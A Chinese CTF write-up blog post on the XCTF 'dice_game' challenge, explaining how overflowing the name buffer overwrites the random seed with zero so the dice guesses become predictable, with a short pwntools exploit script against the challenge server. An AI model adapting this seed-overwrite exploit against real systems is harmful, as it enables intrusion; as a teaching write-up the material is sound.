dice_game XCTF 4th-QCTF-2018

本文探讨了一种pwn题目中的策略,通过覆盖随机数种子实现稳定利用。作者分享了利用固定种子的方法,避免了因时间变化导致的随机数不可预测性,确保攻击的一致性和成功率。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

其实感觉这个题 不算是pwn题。。。 

这 pwn 里面就是 读取flag 文件 然后我们看一下 sub_a20 这个函数

 

随机数啊   本来我没有想用 把种子给 覆盖掉  但是   time(0) 感觉不稳   时间一万一不对劲 那么随机数 也会出错  

所以干脆 把种子固定下来 

下面是 exp

#coding:utf-8

from pwn import*
lists=[2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]

#io=process("./pwn")
io=remote('111.198.29.45',53973)
io.recvuntil("name: ")
io.sendline("a" * 0x40 + p64(0))

for i in lists:
	io.recvuntil("Give me the point(1~6): ")
	io.sendline(str(i))

print io.recv()
io.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值